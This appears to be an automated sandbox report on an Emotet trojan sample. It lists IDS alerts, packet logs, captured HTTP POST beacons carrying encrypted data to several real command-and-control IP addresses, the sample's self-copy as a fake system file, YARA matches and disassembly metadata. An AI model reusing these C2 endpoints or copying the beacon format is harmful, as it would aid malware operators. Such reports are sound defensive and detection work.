2024-08-20T18:08:30.100075+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49740	80	192.168.2.4	94.23.216.33
2024-08-20T18:08:21.130577+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49737	8080	192.168.2.4	134.209.36.254
2024-08-20T18:09:00.006506+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49742	8080	192.168.2.4	137.59.187.107
2024-08-20T18:07:56.975897+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49730	80	192.168.2.4	71.72.196.159
2024-08-20T18:09:32.382105+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49745	80	192.168.2.4	156.155.166.221
2024-08-20T18:07:21.955224+0200	TCP	2030868	ET MALWARE Win32/Emotet CnC Activity (POST) M10	1	49744	443	192.168.2.4	61.19.246.238
2024-08-20T18:08:36.308902+0200	TCP	2854388	ETPRO MALWARE Win32/Emotet CnC Activity (POST) M13	1	49741	8080	192.168.2.4	157.245.99.39

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 20, 2024 18:07:35.557763100 CEST	49730	80	192.168.2.4	71.72.196.159
Aug 20, 2024 18:07:35.562776089 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:35.562850952 CEST	49730	80	192.168.2.4	71.72.196.159
Aug 20, 2024 18:07:35.563587904 CEST	49730	80	192.168.2.4	71.72.196.159
Aug 20, 2024 18:07:35.563635111 CEST	49730	80	192.168.2.4	71.72.196.159
Aug 20, 2024 18:07:35.568464994 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:35.568480015 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:35.568511009 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:35.568521023 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:35.573182106 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:56.975836039 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:56.975897074 CEST	49730	80	192.168.2.4	71.72.196.159
Aug 20, 2024 18:07:56.976006031 CEST	49730	80	192.168.2.4	71.72.196.159
Aug 20, 2024 18:07:56.980730057 CEST	80	49730	71.72.196.159	192.168.2.4
Aug 20, 2024 18:07:59.750101089 CEST	49737	8080	192.168.2.4	134.209.36.254
Aug 20, 2024 18:07:59.755081892 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:07:59.755170107 CEST	49737	8080	192.168.2.4	134.209.36.254
Aug 20, 2024 18:07:59.755335093 CEST	49737	8080	192.168.2.4	134.209.36.254
Aug 20, 2024 18:07:59.755386114 CEST	49737	8080	192.168.2.4	134.209.36.254
Aug 20, 2024 18:07:59.760215998 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:07:59.760226965 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:07:59.760236979 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:07:59.760253906 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:07:59.760596991 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:08:21.130495071 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:08:21.130577087 CEST	49737	8080	192.168.2.4	134.209.36.254
Aug 20, 2024 18:08:21.130683899 CEST	49737	8080	192.168.2.4	134.209.36.254
Aug 20, 2024 18:08:21.135564089 CEST	8080	49737	134.209.36.254	192.168.2.4
Aug 20, 2024 18:08:24.217974901 CEST	49739	8080	192.168.2.4	120.138.30.150
Aug 20, 2024 18:08:24.223268032 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:24.223378897 CEST	49739	8080	192.168.2.4	120.138.30.150
Aug 20, 2024 18:08:24.223545074 CEST	49739	8080	192.168.2.4	120.138.30.150
Aug 20, 2024 18:08:24.223578930 CEST	49739	8080	192.168.2.4	120.138.30.150
Aug 20, 2024 18:08:24.228647947 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:24.228657961 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:24.228667974 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:24.228676081 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:24.228787899 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:26.272000074 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:26.272087097 CEST	49739	8080	192.168.2.4	120.138.30.150
Aug 20, 2024 18:08:26.272178888 CEST	49739	8080	192.168.2.4	120.138.30.150
Aug 20, 2024 18:08:26.277124882 CEST	8080	49739	120.138.30.150	192.168.2.4
Aug 20, 2024 18:08:28.470295906 CEST	49740	80	192.168.2.4	94.23.216.33
Aug 20, 2024 18:08:28.475697041 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:28.475837946 CEST	49740	80	192.168.2.4	94.23.216.33
Aug 20, 2024 18:08:28.476016045 CEST	49740	80	192.168.2.4	94.23.216.33
Aug 20, 2024 18:08:28.476069927 CEST	49740	80	192.168.2.4	94.23.216.33
Aug 20, 2024 18:08:28.481153011 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:28.481203079 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:28.481211901 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:28.481220007 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:28.481231928 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:30.099977016 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:30.100075006 CEST	49740	80	192.168.2.4	94.23.216.33
Aug 20, 2024 18:08:30.100178003 CEST	49740	80	192.168.2.4	94.23.216.33
Aug 20, 2024 18:08:30.105140924 CEST	80	49740	94.23.216.33	192.168.2.4
Aug 20, 2024 18:08:34.086340904 CEST	49741	8080	192.168.2.4	157.245.99.39
Aug 20, 2024 18:08:34.091763020 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:34.091850042 CEST	49741	8080	192.168.2.4	157.245.99.39
Aug 20, 2024 18:08:34.092017889 CEST	49741	8080	192.168.2.4	157.245.99.39
Aug 20, 2024 18:08:34.092058897 CEST	49741	8080	192.168.2.4	157.245.99.39
Aug 20, 2024 18:08:34.096981049 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:34.097008944 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:34.097018957 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:34.097028017 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:34.097039938 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:36.308810949 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:36.308902025 CEST	49741	8080	192.168.2.4	157.245.99.39
Aug 20, 2024 18:08:36.309026003 CEST	49741	8080	192.168.2.4	157.245.99.39
Aug 20, 2024 18:08:36.313785076 CEST	8080	49741	157.245.99.39	192.168.2.4
Aug 20, 2024 18:08:38.639569998 CEST	49742	8080	192.168.2.4	137.59.187.107
Aug 20, 2024 18:08:38.644686937 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:08:38.644761086 CEST	49742	8080	192.168.2.4	137.59.187.107
Aug 20, 2024 18:08:38.645030022 CEST	49742	8080	192.168.2.4	137.59.187.107
Aug 20, 2024 18:08:38.645068884 CEST	49742	8080	192.168.2.4	137.59.187.107
Aug 20, 2024 18:08:38.649996042 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:08:38.650024891 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:08:38.650047064 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:08:38.650106907 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:08:38.650115967 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:09:00.006405115 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:09:00.006505966 CEST	49742	8080	192.168.2.4	137.59.187.107
Aug 20, 2024 18:09:00.006632090 CEST	49742	8080	192.168.2.4	137.59.187.107
Aug 20, 2024 18:09:00.012171030 CEST	8080	49742	137.59.187.107	192.168.2.4
Aug 20, 2024 18:09:03.832498074 CEST	49743	443	192.168.2.4	94.23.237.171
Aug 20, 2024 18:09:03.832534075 CEST	443	49743	94.23.237.171	192.168.2.4
Aug 20, 2024 18:09:03.832736015 CEST	49743	443	192.168.2.4	94.23.237.171
Aug 20, 2024 18:09:03.832806110 CEST	49743	443	192.168.2.4	94.23.237.171
Aug 20, 2024 18:09:03.832813025 CEST	443	49743	94.23.237.171	192.168.2.4
Aug 20, 2024 18:09:03.832937956 CEST	443	49743	94.23.237.171	192.168.2.4
Aug 20, 2024 18:09:03.832967997 CEST	49743	443	192.168.2.4	94.23.237.171
Aug 20, 2024 18:09:03.832979918 CEST	443	49743	94.23.237.171	192.168.2.4
Aug 20, 2024 18:09:07.545902967 CEST	49744	443	192.168.2.4	61.19.246.238
Aug 20, 2024 18:09:07.545984983 CEST	443	49744	61.19.246.238	192.168.2.4
Aug 20, 2024 18:09:07.546073914 CEST	49744	443	192.168.2.4	61.19.246.238
Aug 20, 2024 18:09:07.546197891 CEST	49744	443	192.168.2.4	61.19.246.238
Aug 20, 2024 18:09:07.546219110 CEST	443	49744	61.19.246.238	192.168.2.4
Aug 20, 2024 18:09:07.546252966 CEST	49744	443	192.168.2.4	61.19.246.238
Aug 20, 2024 18:09:07.546269894 CEST	443	49744	61.19.246.238	192.168.2.4
Aug 20, 2024 18:09:07.546358109 CEST	443	49744	61.19.246.238	192.168.2.4
Aug 20, 2024 18:09:10.999577045 CEST	49745	80	192.168.2.4	156.155.166.221
Aug 20, 2024 18:09:11.004904985 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:11.005038023 CEST	49745	80	192.168.2.4	156.155.166.221
Aug 20, 2024 18:09:11.005219936 CEST	49745	80	192.168.2.4	156.155.166.221
Aug 20, 2024 18:09:11.005259037 CEST	49745	80	192.168.2.4	156.155.166.221
Aug 20, 2024 18:09:11.010130882 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:11.010143995 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:11.010154009 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:11.010308027 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:11.010317087 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:32.382025957 CEST	80	49745	156.155.166.221	192.168.2.4
Aug 20, 2024 18:09:32.382105112 CEST	49745	80	192.168.2.4	156.155.166.221

HTTP Request Dependency Graph

71.72.196.159

134.209.36.254

134.209.36.254:8080

120.138.30.150

120.138.30.150:8080

94.23.216.33

157.245.99.39

157.245.99.39:8080

137.59.187.107

137.59.187.107:8080

94.23.237.171

94.23.237.171:443

61.19.246.238

61.19.246.238:443

156.155.166.221

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	71.72.196.159	80	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:07:35.563587904 CEST	636	OUT	POST /aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 71.72.196.159/aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------------wa4T8cPZY0e2iD10iYmCsX Host: 71.72.196.159 Content-Length: 4692 Cache-Control: no-cache
Aug 20, 2024 18:07:35.563635111 CEST	4692	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 77 61 34 54 38 63 50 5a 59 30 65 32 69 44 31 30 69 59 6d 43 73 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 Data Ascii: ------------------------wa4T8cPZY0e2iD10iYmCsXContent-Disposition: form-data; name="xsnomwomeeql"; filename="clkfbfyc"Content-Type: application/octet-stream/\WTVOr\|x9xye'kkik5 y.\J<7?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	134.209.36.254	8080	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:07:59.755335093 CEST	541	OUT	POST /Jg04eNfDVrhItWur/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 134.209.36.254/Jg04eNfDVrhItWur/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------------------Ldiwo2HtMl13Eyf6TSeH Host: 134.209.36.254:8080 Content-Length: 4692 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	120.138.30.150	8080	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:08:24.223545074 CEST	593	OUT	POST /XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 120.138.30.150/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------KEv02otY Host: 120.138.30.150:8080 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	94.23.216.33	80	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:08:28.476016045 CEST	524	OUT	POST /FJlVHXJ3dGgmVB/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 94.23.216.33/FJlVHXJ3dGgmVB/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=------------------Il1zs2mVlo8QKpuKXr Host: 94.23.216.33 Content-Length: 4644 Cache-Control: no-cache
Aug 20, 2024 18:08:28.476069927 CEST	4644	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 49 6c 31 7a 73 32 6d 56 6c 6f 38 51 4b 70 75 4b 58 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 72 73 Data Ascii: --------------------Il1zs2mVlo8QKpuKXrContent-Disposition: form-data; name="rsaswzwtds"; filename="rdkklt"Content-Type: application/octet-streamheCvbbcn7G1B]H@z3[SFG'5/E#rhc?X_y*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	157.245.99.39	8080	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:08:34.092017889 CEST	507	OUT	POST /vBtfrqns/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 157.245.99.39/vBtfrqns/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=------------GDD4s9bMfwx0 Host: 157.245.99.39:8080 Content-Length: 4644 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	137.59.187.107	8080	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:08:38.645030022 CEST	591	OUT	POST /wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 137.59.187.107/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------------RXnIInhAfmvjq1 Host: 137.59.187.107:8080 Content-Length: 4644 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	94.23.237.171	443	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:09:03.832806110 CEST	576	OUT	POST /IBDjcvxbhNBv3Y/nqDclyv1OKh853Z8d/c8YC/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 94.23.237.171/IBDjcvxbhNBv3Y/nqDclyv1OKh853Z8d/c8YC/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=------------------5eHhzpxtLmphkbrh51 Host: 94.23.237.171:443 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	61.19.246.238	443	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:09:07.546197891 CEST	490	OUT	POST /yATH/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 61.19.246.238/yATH/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------meOftaXJ Host: 61.19.246.238:443 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	156.155.166.221	80	6348	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 18:09:11.005219936 CEST	646	OUT	POST /Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------------upXrJchrkYq9xrNYMcg8EM Host: 156.155.166.221 Content-Length: 4660 Cache-Control: no-cache
Aug 20, 2024 18:09:11.005259037 CEST	4660	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 70 58 72 4a 63 68 72 6b 59 71 39 78 72 4e 59 4d 63 67 38 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 Data Ascii: ------------------------upXrJchrkYq9xrNYMcg8EMContent-Disposition: form-data; name="wfubfuqrnhx"; filename="uwtirghrumzi"Content-Type: application/octet-streamB8~XatxKB8Q$NDC`,M3zN;\|2Fn}Qq)r-

Target ID:	0
Start time:	12:07:25
Start date:	20/08/2024
Path:	C:\Users\user\Desktop\ExeFile (317).exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ExeFile (317).exe"
Imagebase:	0x400000
File size:	437'248 bytes
MD5 hash:	1D94974D27FC9127C69992D325AFBC89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:07:25
Start date:	20/08/2024
Path:	C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe"
Imagebase:	0x400000
File size:	437'248 bytes
MD5 hash:	1D94974D27FC9127C69992D325AFBC89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	73.2%
Signature Coverage:	29.2%
Total number of Nodes:	421
Total number of Limit Nodes:	27

Executed Functions

Function 0040FA80 Relevance: 63.2, APIs: 23, Strings: 13, Instructions: 250
windowregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040FA8E
LoadIconW.USER32 ref: 0040FAD2
LoadCursorW.USER32(00000000,00007F00), ref: 0040FADF
LoadIconW.USER32 ref: 0040FB0B
CreateThread.KERNELBASE(00000000,00000000,Function_0000ECC0,00000000,00000002,?), ref: 0040FB23
RegisterClassExW.USER32(?), ref: 0040FB42
MessageBoxW.USER32(00000000,Call to RegisterClassEx failed!,Create Process,00000000), ref: 0040FB5B
CreateWindowExW.USER32(00000000,win32app,Windows Process Manager,00CF0000,80000000,80000000,000001B8,00000258,00000000,00000000,?,00000000), ref: 0040FBA4
MessageBoxW.USER32(00000000,Call to CreateWindow failed!,Win32 Guided Tour,00000000), ref: 0040FBBC

Strings

Run, xrefs: 0040FB29
View All Processes, xrefs: 0040FC4D
Create Process, xrefs: 0040FB4F, 0040FBE6
Windows Process Manager, xrefs: 0040FB92, 0040FC9B
Call to RegisterClassEx failed!, xrefs: 0040FB54
0, xrefs: 0040FAA6
Kill Process, xrefs: 0040FC1A
Cancel, xrefs: 0040FD2B
Win32 Guided Tour, xrefs: 0040FBB1
Edit, xrefs: 0040FCCA
BUTTON, xrefs: 0040FBEB, 0040FC1F, 0040FC52, 0040FD03, 0040FD30
win32app, xrefs: 0040FB03, 0040FB97, 0040FCA0
Call to CreateWindow failed!, xrefs: 0040FBB6

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: Load$CreateIconMessage$ClassCursorRegisterThreadWindow_memset
String ID: 0$BUTTON$Call to CreateWindow failed!$Call to RegisterClassEx failed!$Cancel$Create Process$Edit$Kill Process$Run$View All Processes$Win32 Guided Tour$Windows Process Manager$win32app
API String ID: 713769167-1192827546
Opcode ID: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction ID: d065e50bf912697da28d798f56a1b3ea1efd5d731bf56130ae663ba60a7ce2a6
Opcode Fuzzy Hash: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction Fuzzy Hash: 9A8120B1BD4300BAF220DB50DC56FDA37A8AB98F05F10842AF7017A2D0D7F969458B5E

Function 00641030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00644054,00644040), ref: 00641047
GetProcAddress.KERNEL32(00000000), ref: 0064104E

Part of subcall function 00641B30: SetLastError.KERNEL32(0000000D,?,00641070,?,00000040), ref: 00641B3D

SetLastError.KERNEL32(000000C1), ref: 00641096

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 22d3bdbc3ceed4f118dc2c6b5d7d9316d2904f28c6ad43b95a383f7d59765123
Instruction ID: 866c473cf092e34b4578d9bf0cca051f2bc305eccb6f035f271d5a978240096c
Opcode Fuzzy Hash: 22d3bdbc3ceed4f118dc2c6b5d7d9316d2904f28c6ad43b95a383f7d59765123
Instruction Fuzzy Hash: 07F10AB4A00209EFDB04DF94D980BAEB7B2FF49304F208559E915AB351D735EE81DB90

Function 00627D60 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

